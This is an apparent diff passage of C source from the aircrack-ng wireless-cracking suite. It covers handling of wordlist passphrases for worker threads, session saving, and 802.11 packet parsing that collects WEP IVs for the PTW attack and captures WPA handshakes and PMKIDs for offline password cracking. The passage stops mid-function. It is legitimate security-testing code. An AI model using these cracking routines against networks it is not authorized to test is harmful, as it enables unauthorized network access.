+			ALLEGE(pthread_join(tid[i], NULL) == 0);
+			tid[i] = 0;
+		}
+
+	for (i = 0; i < opt.nbcpu; i++)
+	{
+		destroy(wpa_data[i].cqueue, circular_queue_free);
+		destroy(wpa_data[i].key_buffer, free);
+		if (wpa_data[i].thread == i)
+		{
+			/* ALLEGE(*/ pthread_mutex_destroy(&(wpa_data[i].mutex)) /* == 0)*/;
+		}
+	}
+
+	ALLEGE(pthread_cond_destroy(&cv_eof) == 0);
+
+	dso_ac_crypto_engine_destroy(&engine);
+	ac_crypto_engine_loader_unload();
+
+	if (cpuset != NULL)
+	{
+		ac_cpuset_destroy(cpuset);
+		ac_cpuset_free(cpuset);
+	}
+
+	if (opt.totaldicts)
+	{
+		for (i = 0; i < opt.totaldicts; i++)
+		{
+			destroy(opt.dicts[i], free);
+		}
+	}
+
+	destroy(wep.ivbuf, free);
+
+	destroy(opt.logKeyToFile, free);
+
+	ac_aplist_free();
+
+	destroy(access_points, c_avl_destroy);
+
+	destroy(targets, c_avl_destroy);
+
+#ifdef HAVE_SQLITE
+	destroy(db, sqlite3_close);
+#endif
+
+	destroy(progname, free);
+
+	if (cracking_session)
+	{
+		// TODO: Delete file when cracking fails
+		if (opt.dictfinish || wepkey_crack_success || wpa_wordlists_done
+			|| nb_tried == opt.wordcount)
+		{
+			ac_session_destroy(cracking_session);
+		}
+		ac_session_free(&cracking_session);
+	}
+
+	exit(EXIT_SUCCESS);
+}
+
+static void sighandler(int signum)
+{
+#if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP))
+	_PGOPTI_Prof_Dump();
+#endif
+#if !defined(__CYGWIN__)
+	// We can't call this on cygwin or we will sometimes end up
+	// having all our threads die with exit code 35584 fairly reproducible
+	// at around 2.5-3% of runs
+	ALLEGE(signal(signum, sighandler) != SIG_ERR);
+#endif
+
+	if (signum == SIGQUIT) clean_exit(EXIT_SUCCESS);
+
+	if (signum == SIGTERM) clean_exit(EXIT_FAILURE);
+
+	if (signum == SIGINT)
+	{
+#if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP))
+		clean_exit(EXIT_FAILURE);
+#else
+		clean_exit(EXIT_FAILURE);
+#endif
+	}
+
+	if (signum == SIGWINCH) erase_display(2);
+}
+
+/// Update keys/sec counters with current round of keys.
+static inline void
+increment_passphrase_counts(wpapsk_password keys[MAX_KEYS_PER_CRYPT_SUPPORTED],
+							int nparallel)
+{
+	int nbkeys = 0;
+
+	for (int i = 0; i < nparallel; i++)
+	{
+		if (keys[i].length > 0)
+		{
+			++nbkeys;
+		}
+	}
+
+	ALLEGE(pthread_mutex_lock(&mx_nb) == 0);
+
+	nb_tried += nbkeys;
+	nb_kprev += nbkeys;
+
+	ALLEGE(pthread_mutex_unlock(&mx_nb) == 0);
+}
+
+/// Load next wordlist chunk, and count the number of passphrases present.
+static inline void wl_count_next_block(struct WPA_data * data)
+{
+	REQUIRE(data != NULL);
+
+	if (data->thread > 1) return;
+	if (opt.dictfinish) return;
+
+	float delta = chrono(&t_dictup, 0);
+	if (delta - 2.f >= FLT_EPSILON)
+	{
+		int i;
+		int fincnt = 0;
+		off_t tmpword = 0;
+
+		for (i = 0; i < opt.totaldicts; i++)
+		{
+			if (opt.dictidx[i].loaded)
+			{
+				fincnt++;
+				continue;
+			}
+
+			if (opt.dictidx[i].dictsize > READBUF_BLKSIZE)
+			{
+				if (pthread_mutex_trylock(&mx_dic) >= 0)
+				{
+					tmpword = (off_t) linecount(
+						opt.dicts[i], opt.dictidx[i].dictpos, 32);
+
+					opt.dictidx[i].wordcount += tmpword;
+					opt.wordcount += tmpword;
+					opt.dictidx[i].dictpos += (READBUF_BLKSIZE * 32);
+
+					if (opt.dictidx[i].dictpos >= opt.dictidx[i].dictsize)
+						opt.dictidx[i].loaded = 1;
+
+					ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
+				}
+
+				// Only process a chunk then come back later for more.
+				break;
+			}
+		}
+
+		if (fincnt == opt.totaldicts)
+			opt.dictfinish = 1;
+		else
+			(void) chrono(&t_dictup, 1);
+	}
+}
+
+static inline int
+wpa_send_passphrase(char * key, struct WPA_data * data, int lock)
+{
+	REQUIRE(key != NULL);
+	REQUIRE(data != NULL);
+
+	if (close_aircrack)
+	{
+		circular_queue_reset(data->cqueue);
+		return (0);
+	}
+
+	if (lock)
+	{
+		circular_queue_push(data->cqueue, key, MAX_PASSPHRASE_LENGTH + 1);
+	}
+	else
+	{
+		if (circular_queue_try_push(
+				data->cqueue, key, MAX_PASSPHRASE_LENGTH + 1)
+			!= 0)
+			return (0);
+	}
+
+	return (1);
+}
+
+static inline int wpa_receive_passphrase(char * key, struct WPA_data * data)
+{
+	REQUIRE(key != NULL);
+	REQUIRE(data != NULL);
+
+	circular_queue_pop(
+		data->cqueue, (void * const *) &key, MAX_PASSPHRASE_LENGTH + 1);
+
+	return (1);
+}
+
+/* Returns number of BSSIDs.
+
+	Return value is negative for failures
+*/
+static int checkbssids(const char * bssidlist)
+{
+	int first = 1;
+	int failed = 0;
+	int i = 0;
+	char *list, *frontlist, *tmp;
+	int nbBSSID = 0;
+
+	if (bssidlist == NULL) return (-1);
+
+#define IS_X(x) ((x) == 'X' || (x) == 'x')
+#define VALID_CHAR(x) ((IS_X(x)) || hexCharToInt((char) x) > -1)
+
+#define VALID_SEP(arg) (((arg) == '_') || ((arg) == '-') || ((arg) == ':'))
+	frontlist = list = strdup(bssidlist);
+	do
+	{
+		tmp = strsep(&list, ",");
+
+		if (tmp == NULL) break;
+
+		++nbBSSID;
+
+		if (strlen(tmp) != 17) failed = 1;
+
+		// first byte
+		if (!VALID_CHAR(tmp[0])) failed = 1;
+		if (!VALID_CHAR(tmp[1])) failed = 1;
+		if (!VALID_SEP(tmp[2])) failed = 1;
+
+		// second byte
+		if (!VALID_CHAR(tmp[3])) failed = 1;
+		if (!VALID_CHAR(tmp[4])) failed = 1;
+		if (!VALID_SEP(tmp[5])) failed = 1;
+
+		// third byte
+		if (!VALID_CHAR(tmp[6])) failed = 1;
+		if (!VALID_CHAR(tmp[7])) failed = 1;
+		if (!VALID_SEP(tmp[8])) failed = 1;
+
+		// fourth byte
+		if (!VALID_CHAR(tmp[9])) failed = 1;
+		if (!VALID_CHAR(tmp[10])) failed = 1;
+		if (!VALID_SEP(tmp[11])) failed = 1;
+
+		// fifth byte
+		if (!VALID_CHAR(tmp[12])) failed = 1;
+		if (!VALID_CHAR(tmp[13])) failed = 1;
+		if (!VALID_SEP(tmp[14])) failed = 1;
+
+		// sixth byte
+		if (!VALID_CHAR(tmp[15])) failed = 1;
+		if (!VALID_CHAR(tmp[16])) failed = 1;
+
+		if (failed)
+		{
+			free(frontlist);
+			return (-1);
+		}
+
+		if (first)
+		{
+			for (i = 0; i < 17; i++)
+			{
+				if (IS_X(tmp[i]))
+				{
+					free(frontlist);
+					return (-1);
+				}
+			}
+
+			opt.firstbssid = (unsigned char *) malloc(sizeof(unsigned char));
+			if (opt.firstbssid == NULL)
+			{
+				free(frontlist);
+				return (-1);
+			}
+			getmac(tmp, 1, opt.firstbssid);
+			first = 0;
+		}
+
+	} while (list);
+
+	// Success
+	free(frontlist);
+	return (nbBSSID);
+}
+
+static void session_save_thread(void * arg)
+{
+	UNUSED_PARAM(arg);
+
+	struct timeval start;
+	struct timeval stop;
+	int8_t wordlist = 0;
+	off_t pos;
+
+	if (!cracking_session || opt.stdin_dict)
+	{
+		return;
+	}
+
+	// Start chrono
+	gettimeofday(&start, NULL);
+
+	while (!close_aircrack)
+	{
+		// Check if we're over the 10 minutes mark
+		gettimeofday(&stop, NULL);
+		if (stop.tv_sec - start.tv_sec < 10 * 60)
+		{
+			// Wait 100ms
+			if (usleep(100000) == -1)
+			{
+				break; // Got a signal
+			}
+			continue;
+		}
+
+		// Reset chrono
+		start.tv_sec = stop.tv_sec;
+
+		pos = 0;
+		wordlist = 0;
+
+		// Get position in file
+		ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
+		if (opt.dict)
+		{
+			wordlist = 1;
+			pos = ftello(opt.dict);
+		}
+		ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
+
+		// If there is no wordlist, that means it's the end
+		// (either forced closing and wordlist was closed or
+		//  we've tried all wordlists).
+		if (wordlist == 0)
+		{
+			break;
+		}
+
+		// Update amount of keys tried and save it
+		ac_session_save(cracking_session, (uint64_t) pos, nb_tried);
+	}
+}
+
+static int mergebssids(const char * bssidlist, unsigned char * bssid)
+{
+	struct mergeBSSID * list_prev;
+	struct mergeBSSID * list_cur;
+	char * mac = NULL;
+	char * list = NULL;
+	char * tmp = NULL;
+	char * tmp2 = NULL;
+	int next, i, found;
+
+	if (bssid == NULL || bssidlist == NULL || bssidlist[0] == 0)
+	{
+		return (-1);
+	}
+
+	// Do not convert if equal to first bssid
+	if (memcmp(opt.firstbssid, bssid, ETHER_ADDR_LEN) == 0) return (1);
+
+	list_prev = NULL;
+	list_cur = opt.bssid_list_1st;
+
+	while (list_cur != NULL)
+	{
+		if (memcmp(list_cur->bssid, bssid, ETHER_ADDR_LEN) == 0)
+		{
+			if (list_cur->convert)
+				memcpy(bssid, opt.firstbssid, ETHER_ADDR_LEN);
+
+			return (list_cur->convert);
+		}
+
+		list_prev = list_cur;
+		list_cur = list_cur->next;
+	}
+
+	// Not found, check if it has to be converted
+	mac = (char *) malloc(18);
+
+	if (!mac)
+	{
+		perror("malloc failed");
+		return (-1);
+	}
+
+	snprintf(mac,
+			 18,
+			 "%02X:%02X:%02X:%02X:%02X:%02X",
+			 bssid[0],
+			 bssid[1],
+			 bssid[2],
+			 bssid[3],
+			 bssid[4],
+			 bssid[5]);
+	mac[17] = 0;
+
+	tmp2 = list = strdup(bssidlist);
+	ALLEGE(tmp2 != NULL);
+
+	// skip first element (because it doesn't have to be converted
+	// It already has the good value
+	(void) strsep(&list, ",");
+
+	found = 0;
+
+	do
+	{
+		next = 0;
+		tmp = strsep(&list, ",");
+		if (tmp == NULL) break;
+
+		// Length already checked, no need to check it again
+
+		for (i = 0; i < 17; ++i)
+		{
+			if ((IS_X(tmp[i]) || VALID_SEP(tmp[i]))) continue;
+
+			if (toupper((int) tmp[i]) != (int) mac[i])
+			{
+				// Not found
+				next = 1;
+				break;
+			}
+		}
+
+		if (next == 0)
+		{
+			found = 1;
+			break;
+		}
+	} while (list);
+
+	// Free memory
+	free(mac);
+	free(tmp2);
+
+	// Add the result to the list
+	list_cur = (struct mergeBSSID *) malloc(sizeof(struct mergeBSSID));
+
+	if (!list_cur)
+	{
+		perror("malloc failed");
+		return (-1);
+	}
+
+	list_cur->convert = found;
+	list_cur->next = NULL;
+	memcpy(list_cur->bssid, bssid, ETHER_ADDR_LEN);
+
+	if (opt.bssid_list_1st == NULL)
+		opt.bssid_list_1st = list_cur;
+	else
+		list_prev->next = list_cur;
+
+	// Do not forget to convert if it was successful
+	if (list_cur->convert) memcpy(bssid, opt.firstbssid, ETHER_ADDR_LEN);
+
+#undef VALID_CHAR
+#undef VALID_SEP
+#undef IS_X
+
+	return (list_cur->convert);
+}
+
+static ssize_t may_read(int fd)
+{
+	struct timeval tv;
+	fd_set rfds;
+
+	FD_ZERO(&rfds);
+	FD_SET(fd, &rfds);
+
+	tv.tv_sec = 0;
+	tv.tv_usec = 250000;
+
+	while (select(fd + 1, &rfds, NULL, NULL, &tv) < 0)
+	{
+		if (errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK) continue;
+		if (errno == EBADF) return (0);
+		perror("select");
+		abort();
+	}
+
+	if (FD_ISSET(fd, &rfds))
+	{
+		return (1);
+	}
+
+	return (0);
+}
+
+/* fread isn't atomic, sadly */
+
+static int atomic_read(read_buf * rb, int fd, int len, void * buf)
+{
+	ssize_t n = 0;
+
+	if (close_aircrack) return (0);
+
+	if (rb->buf1 == NULL)
+	{
+		rb->buf1 = malloc(65536);
+		rb->buf2 = malloc(65536);
+
+		if (rb->buf1 == NULL || rb->buf2 == NULL) return (0);
+
+		rb->off1 = 0;
+		rb->off2 = 0;
+	}
+
+	if (len > 65536 - rb->off1)
+	{
+		rb->off2 -= rb->off1;
+
+		memcpy(rb->buf2, (char *) rb->buf1 + rb->off1, (size_t) rb->off2);
+		memcpy(rb->buf1, (char *) rb->buf2, (size_t) rb->off2);
+
+		rb->off1 = 0;
+	}
+
+	if (rb->off2 - rb->off1 >= len)
+	{
+		memcpy(buf, (char *) rb->buf1 + rb->off1, (size_t) len);
+		rb->off1 += len;
+		return (1);
+	}
+	else
+	{
+		do
+		{
+			if (may_read(fd))
+			{
+				n = read(fd,
+						 (char *) rb->buf1 + rb->off2,
+						 (size_t)(65536 - rb->off2));
+			}
+
+			if (close_aircrack) return (0);
+		} while (rb->tail && n == 0);
+
+		if (n <= 0) return (0);
+
+		rb->off2 += n;
+
+		if (rb->off2 - rb->off1 >= len)
+		{
+			memcpy(buf, (char *) rb->buf1 + rb->off1, (size_t) len);
+			rb->off1 += len;
+			return (1);
+		}
+	}
+
+	return (0);
+}
+
+/**
+ * Calculate the WEP session's keystream, for PTW based attacks.
+ *
+ * @param body The packet data contained within an 802.11 frame.
+ * @param dlen The length of the \a body parameter.
+ * @param ap_cur A reference to the AP base-station.
+ * @param h80211 A reference to the entire 802.11 frame data, for
+ *               which \a body is located inside.
+ * @return Returns zero on success. Returns non-zero for an error (> zero)
+ *         or exception (< zero).
+ */
+static int calculate_wep_keystream(unsigned char * body,
+								   int dlen,
+								   struct AP_info * ap_cur,
+								   unsigned char * h80211)
+{
+	REQUIRE(body != NULL);
+	REQUIRE(ap_cur != NULL);
+	REQUIRE(h80211 != NULL);
+
+	unsigned char clear[2048];
+	int clearsize, i, j, k;
+	int weight[16];
+
+	memset(weight, 0, sizeof(weight));
+	memset(clear, 0, sizeof(clear));
+
+	/* calculate keystream */
+	k = known_clear(clear, &clearsize, weight, h80211, (size_t) dlen);
+	if (clearsize < (opt.keylen + 3)) return (0);
+
+	for (j = 0; j < k; j++)
+	{
+		for (i = 0; i < clearsize; i++) clear[i + (32 * j)] ^= body[4 + i];
+	}
+
+	if (k == 1)
+	{
+		if (ap_cur->ptw_clean == NULL)
+		{
+			ap_cur->ptw_clean = PTW_newattackstate();
+			if (!ap_cur->ptw_clean)
+			{
+				perror("PTW_newattackstate()");
+				return (-1);
+			}
+		}
+
+		if (PTW_addsession(ap_cur->ptw_clean, body, clear, weight, k))
+			ap_cur->nb_ivs_clean++;
+	}
+
+	if (ap_cur->ptw_vague == NULL)
+	{
+		ap_cur->ptw_vague = PTW_newattackstate();
+		if (!ap_cur->ptw_vague)
+		{
+			perror("PTW_newattackstate()");
+			return (-2);
+		}
+	}
+
+	if (PTW_addsession(ap_cur->ptw_vague, body, clear, weight, k))
+		ap_cur->nb_ivs_vague++;
+
+	return (0);
+}
+
+/**
+ * Updates the current AP with additional information, such as stations.
+ *
+ * @param ap_cur The AP we are updating.
+ * @param fmt The incoming \a buffer binary format.
+ * @param buffer The incoming packet data.
+ * @param h80211 A reference within \a buffer for the 802.11 frame.
+ * @param ivs2 A reference to an IVS2 packet structure.
+ * @param pkh A reference to the packet's header content.
+ * @return Returns zero on success. Returns non-zero for an error (> zero)
+ *         or exception (< zero).
+ */
+static int packet_reader__update_ap_info(struct AP_info * ap_cur,
+										 int fmt,
+										 unsigned char * buffer,
+										 unsigned char * h80211,
+										 struct ivs2_pkthdr * ivs2,
+										 struct pcap_pkthdr * pkh,
+										 packet_reader_t * me)
+{
+	REQUIRE(ap_cur != NULL);
+	REQUIRE(buffer != NULL);
+	REQUIRE(h80211 != NULL);
+	REQUIRE(ivs2 != NULL);
+	REQUIRE(pkh != NULL);
+
+	struct ST_info * st_cur = NULL;
+	unsigned char stmac[ETHER_ADDR_LEN];
+	unsigned char * p = NULL;
+
+	if (fmt == FORMAT_IVS)
+	{
+		ap_cur->crypt = 2;
+		add_wep_iv(ap_cur, buffer, me);
+		return (0);
+	}
+	else if (fmt == FORMAT_IVS2)
+	{
+		parse_ivs2(ap_cur, ivs2, buffer, me);
+		return (0);
+	}
+
+	/* locate the station MAC in the 802.11 header */
+
+	switch (h80211[1] & IEEE80211_FC1_DIR_MASK)
+	{
+		case IEEE80211_FC1_DIR_NODS:
+			memcpy(stmac, h80211 + 10, ETHER_ADDR_LEN);
+			break;
+
+		case IEEE80211_FC1_DIR_TODS:
+			memcpy(stmac, h80211 + 10, ETHER_ADDR_LEN);
+			break;
+
+		case IEEE80211_FC1_DIR_FROMDS:
+			/* reject broadcast MACs */
+			if ((h80211[4] % 2) != 0) goto skip_station;
+			memcpy(stmac, h80211 + 4, ETHER_ADDR_LEN);
+			break;
+
+		default:
+			goto skip_station;
+	}
+
+	int not_found = c_avl_get(ap_cur->stations, stmac, (void **) &st_cur);
+
+	/* if it's a new supplicant, add it */
+	if (not_found)
+	{
+		st_cur = (struct ST_info *) malloc(sizeof(struct ST_info));
+		if (st_cur == NULL)
+		{
+			perror("malloc failed");
+			return (-1);
+		}
+		memset(st_cur, 0, sizeof(struct ST_info));
+
+		memcpy(st_cur->stmac, stmac, sizeof(st_cur->stmac));
+		c_avl_insert(ap_cur->stations, st_cur->stmac, st_cur);
+	}
+
+skip_station:
+
+	/* packet parsing: Beacon or Probe Response */
+
+	if (h80211[0] == IEEE80211_FC0_SUBTYPE_BEACON
+		|| h80211[0] == IEEE80211_FC0_SUBTYPE_PROBE_RESP)
+	{
+		if (ap_cur->crypt == 0) ap_cur->crypt = (h80211[34] & 0x10u) >> 4u;
+
+		p = h80211 + 36;
+
+		while (p < h80211 + pkh->caplen)
+		{
+			if (p + 2 + p[1] > h80211 + pkh->caplen) break;
+
+			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0')
+			{
+				/* found a non-cloaked ESSID */
+				size_t n = (p[1] > 32) ? 32 : p[1];
+
+				memset(ap_cur->essid, 0, ESSID_LENGTH + 1);
+				memcpy(ap_cur->essid, p + 2, n);
+			}
+
+			p += 2 + p[1];
+		}
+	}
+
+	/* packet parsing: Association Request */
+
+	if (h80211[0] == IEEE80211_FC0_SUBTYPE_ASSOC_REQ)
+	{
+		p = h80211 + 28;
+
+		while (p < h80211 + pkh->caplen)
+		{
+			if (p + 2 + p[1] > h80211 + pkh->caplen) break;
+
+			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0')
+			{
+				size_t n = (p[1] > 32) ? 32 : p[1];
+
+				memset(ap_cur->essid, 0, ESSID_LENGTH + 1);
+				memcpy(ap_cur->essid, p + 2, n);
+			}
+
+			p += 2 + p[1];
+		}
+	}
+
+	/* packet parsing: Association Response */
+
+	if (h80211[0] == IEEE80211_FC0_SUBTYPE_ASSOC_RESP)
+	{
+		/* reset the WPA handshake state */
+		if (st_cur != NULL) st_cur->wpa.state = 0;
+	}
+
+	/* check if data */
+
+	if ((h80211[0] & IEEE80211_FC0_TYPE_MASK) != IEEE80211_FC0_TYPE_DATA)
+		return (0);
+
+	/* check minimum size */
+
+	unsigned z
+		= ((h80211[1] & IEEE80211_FC1_DIR_MASK) != IEEE80211_FC1_DIR_DSTODS)
+			  ? 24
+			  : 30;
+	if ((h80211[0] & IEEE80211_FC0_SUBTYPE_BEACON)
+		== IEEE80211_FC0_SUBTYPE_BEACON)
+		z += 2; /* 802.11e QoS */
+
+	if (z + 16 > pkh->caplen) return (0);
+
+	/* check the SNAP header to see if data is encrypted */
+
+	if (h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03)
+	{
+		if (!opt.forced_amode)
+		{
+			ap_cur->crypt = 2; /* encryption = WEP */
+
+			/* check the extended IV flag */
+			if ((h80211[z + 3] & 0x20) != 0)
+			{
+				/* encryption = WPA */
+				ap_cur->crypt = 3;
+			}
+		}
+
+		/* check the WEP key index */
+
+		if (opt.index != 0 && (h80211[z + 3] >> 6) != opt.index - 1) return (0);
+
+		if (opt.do_ptw)
+		{
+			unsigned char * body = h80211 + z;
+			int data_len = (int) (pkh->caplen - (body - h80211) - 4 - 4);
+
+			if ((h80211[1] & IEEE80211_FC1_DIR_MASK)
+				== IEEE80211_FC1_DIR_DSTODS) // 30byte header
+			{
+				body += 6;
+				data_len -= 6;
+			}
+
+			if (me->mode == PACKET_READER_READ_MODE)
+				calculate_wep_keystream(body, data_len, ap_cur, h80211);
+
+			return (0);
+		}
+
+		/* save the IV & first two output bytes */
+
+		memcpy(buffer, h80211 + z, 3);
+		memcpy(buffer + 3, h80211 + z + 4, 2);
+
+		/* Special handling for spanning-tree packets */
+		if (memcmp(h80211 + 4, SPANTREE, ETHER_ADDR_LEN) == 0
+			|| memcmp(h80211 + 16, SPANTREE, ETHER_ADDR_LEN) == 0)
+		{
+			buffer[3] = (uint8_t)((buffer[3] ^ 0x42) ^ 0xAA);
+			buffer[4] = (uint8_t)((buffer[4] ^ 0x42) ^ 0xAA);
+		}
+
+		add_wep_iv(ap_cur, buffer, me);
+
+		return (0);
+	}
+
+	/* if ethertype == IPv4, find the LAN address */
+
+	z += 6;
+
+	if (z + 20 < pkh->caplen)
+	{
+		if (h80211[z] == 0x08 && h80211[z + 1] == 0x00
+			&& (h80211[1] & 3) == 0x01)
+			memcpy(ap_cur->lanip, &h80211[z + 14], 4);
+
+		if (h80211[z] == 0x08 && h80211[z + 1] == 0x06)
+			memcpy(ap_cur->lanip, &h80211[z + 16], 4);
+	}
+
+	/* check ethertype == EAPOL */
+
+	if (h80211[z] != 0x88 || h80211[z + 1] != 0x8E) return (0);
+
+	z += 2;
+
+	ap_cur->eapol = 1;
+
+	/* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
+
+	if (h80211[z + 1] != 0x03
+		|| (h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02))
+		return (0);
+
+	ap_cur->eapol = 0;
+	if (!opt.forced_amode) ap_cur->crypt = 3; /* set WPA */
+
+	if (st_cur == NULL)
+	{
+		// NOTE: no station present; so we want to SKIP this AP.
+		return (1);
+	}
+
+	uint64_t replay_counter
+		= be64_to_cpu(get_unaligned((uint64_t *) (&h80211[z + 9])));
+
+	/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
+
+	if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
+		&& (h80211[z + 6] & 0x80) != 0
+		&& (h80211[z + 5] & 0x01) == 0)
+	{
+		memcpy(st_cur->wpa.anonce, &h80211[z + 17], sizeof(st_cur->wpa.anonce));
+
+		/* authenticator nonce set */
+		st_cur->wpa.state = 1;
+
+		st_cur->wpa.found |= 1 << 1;
+
+		st_cur->wpa.replay = replay_counter;
+
+		if (h80211[z + 99] == 0xdd) // RSN
+		{
+			if (h80211[z + 101] == 0x00 && h80211[z + 102] == 0x0f
+				&& h80211[z + 103] == 0xac) // OUI: IEEE8021
+			{
+				if (h80211[z + 104] == 0x04) // OUI SUBTYPE
+				{
+					// Got a PMKID value?!
+					memcpy(st_cur->wpa.pmkid, &h80211[z + 105], 16);
+
+					/* copy the key descriptor version */
+					st_cur->wpa.keyver = (uint8_t)(h80211[z + 6] & 7);
+				}
+			}
+		}
+	}
+
+	/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
+
+	if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
+		&& (h80211[z + 6] & 0x80) == 0
+		&& (h80211[z + 5] & 0x01) != 0
+		&& st_cur->wpa.replay == replay_counter)
+	{
+		if (memcmp(&h80211[z + 17], ZERO, sizeof(st_cur->wpa.snonce)) != 0)
+		{
+			memcpy(st_cur->wpa.snonce,
+				   &h80211[z + 17],
+				   sizeof(st_cur->wpa.snonce));
+
+			/* supplicant nonce set */
+			st_cur->wpa.state |= 2;
+		}
+
+		// uint16_t key_len = ((h80211[z + 7] << 8u) + h80211[z + 8]);
+		uint16_t key_data_len
+			= (h80211[z + 81 + 16] << 8u) + h80211[z + 81 + 17];
+
+		if (key_data_len == 0)
+		{
+			st_cur->wpa.found |= 1 << 4; // frame 4
+		}
+		else
+		{
+			st_cur->wpa.found |= 1 << 2; // frame 2
+		}
+
+		if ((st_cur->wpa.state & 4) != 4)
+		{
+			/* copy the MIC & eapol frame */
+			st_cur->wpa.eapol_size
+				= (uint32_t)((h80211[z + 2] << 8) + h80211[z + 3] + 4);
+
+			if (st_cur->wpa.eapol_size == 0 //-V560
+				|| st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)
+				|| pkh->len - z < st_cur->wpa.eapol_size)
+			{
+				// Ignore the packet trying to crash us.
+				st_cur->wpa.eapol_size = 0;
+
+				return (0);
+			}
+
+			memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
+			memcpy(st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
+			memset(st_cur->wpa.eapol + 81, 0, 16);
+
+			if (key_data_len == 0)
+			{
+				st_cur->wpa.eapol_source |= 1 << 4; // frame 4
+			}
+			else
+			{
+				st_cur->wpa.eapol_source |= 1 << 2; // frame 2
+			}
+
+			/* eapol frame & keymic set */
+			st_cur->wpa.state |= 4;
+
+			/* copy the key descriptor version */
+			st_cur->wpa.keyver = (uint8_t)(h80211[z + 6] & 7);
+		}
+	}
+
+	/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
+
+	if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) != 0
+		&& (h80211[z + 6] & 0x80) != 0
+		&& (h80211[z + 5] & 0x01) != 0
+		&& st_cur->wpa.replay == replay_counter)
+	{
+		st_cur->wpa.found |= 1 << 3;
+
+		if (memcmp(&h80211[z + 17], ZERO, sizeof(st_cur->wpa.anonce)) != 0)
+		{
+			memcpy(st_cur->wpa.anonce,
+				   &h80211[z + 17],
+				   sizeof(st_cur->wpa.anonce));
+
+			/* authenticator nonce set */
+			st_cur->wpa.state |= 1;
+		}
+
+		if ((st_cur->wpa.state & 4) != 4)
+		{
+			/* copy the MIC & eapol frame */
+			st_cur->wpa.eapol_size
+				= (uint32_t)((h80211[z + 2] << 8) + h80211[z + 3] + 4);
+
+			if (st_cur->wpa.eapol_size == 0 //-V560
+				|| st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)
+				|| pkh->len - z < st_cur->wpa.eapol_size)
+			{
+				// Ignore the packet trying to crash us.
+				st_cur->wpa.eapol_size = 0;
+
+				return (0);
+			}
+
+			memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
+			memcpy(st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
+			memset(st_cur->wpa.eapol + 81, 0, 16);
+
+			st_cur->wpa.eapol_source |= 1 << 3;
+
+			/* eapol frame & keymic set */
+			st_cur->wpa.state |= 4;
+
+			/* copy the key descriptor version */
+			st_cur->wpa.keyver = (uint8_t)(h80211[z + 6] & 7);
+		}
+	}
+
+	// The new PMKID attack permits any state greater than 0, with a PMKID
+	// present.
+	if (st_cur->wpa.state == 7
+		|| (st_cur->wpa.state > 0 && st_cur->wpa.pmkid[0] != 0x00))
+	{
+		/* got one valid handshake */
+		memcpy(st_cur->wpa.stmac, stmac, ETHER_ADDR_LEN);
+		memcpy(&ap_cur->wpa, &st_cur->wpa, sizeof(struct WPA_hdsk));
+	}
+
+	return (0);
+}
+
+/**
+ * Process a single packet, to extract useful access point data.
+ *
+ * @param me A reference to our own (this ptr) data.
+ * @param bssid The base station MAC address.
+ * @param dest An extra base station MAC address. ?
+ * @param fmt The incoming packet \a buffer binary format.
+ * @param buffer The incoming packet data.
+ * @param h80211 A reference within \a buffer for the 802.11 frame.
+ * @param ivs2 A reference to an IVS2 packet structure.
+ * @param pkh A reference to the packet's header content.
+ * @param ap_cur An output parameter to hold a found, or updated, AP base
+ *               station.
+ * @return Returns zero on success. Returns non-zero for an error (> zero)
+ *         or exception (< zero).
+ */
+static int packet_reader_process_packet(packet_reader_t * me,
+										uint8_t * bssid,
+										uint8_t * dest,
+										int fmt,
+										unsigned char * buffer,
+										unsigned char * h80211,
+										struct ivs2_pkthdr * ivs2,
+										struct pcap_pkthdr * pkh,
+										struct AP_info ** ap_cur)
+{
+	REQUIRE(me != NULL);
+	REQUIRE(bssid != NULL);
+	REQUIRE(dest != NULL);
+	REQUIRE(buffer != NULL);
+	REQUIRE(h80211 != NULL);
+	REQUIRE(ivs2 != NULL);
+	REQUIRE(pkh != NULL);
+	REQUIRE(ap_cur != NULL);
+
+	*ap_cur = NULL;
+
+	nb_pkt++;
+
+	if (fmt == FORMAT_CAP)
+	{
+		/* skip packets smaller than a 802.11 header */
+
+		if (pkh->caplen < 24) return (0);
+
+		/* skip (uninteresting) control frames */
+
+		if ((h80211[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_CTL)
+			return (0);
+
+		/* locate the access point's MAC address */
+
+		switch (h80211[1] & IEEE80211_FC1_DIR_MASK)
+		{
+			case IEEE80211_FC1_DIR_NODS:
+				memcpy(bssid, h80211 + 16, ETHER_ADDR_LEN); //-V525
+				break; // Adhoc
+			case IEEE80211_FC1_DIR_TODS:
+				memcpy(bssid, h80211 + 4, ETHER_ADDR_LEN);
+				break; // ToDS
+			case IEEE80211_FC1_DIR_FROMDS:
+				memcpy(bssid, h80211 + 10, ETHER_ADDR_LEN);
+				break; // FromDS
+			case IEEE80211_FC1_DIR_DSTODS:
+				memcpy(bssid, h80211 + 10, ETHER_ADDR_LEN);
+				break; // WDS -> Transmitter taken as BSSID
+			default:
+				fprintf(stderr,
+						"Expected a value between 0 and 3, got %d.\n",
+						h80211[1] & IEEE80211_FC1_DIR_MASK);
+				break;
+		}
+
+		switch (h80211[1] & IEEE80211_FC1_DIR_MASK)
+		{
+			case IEEE80211_FC1_DIR_NODS:
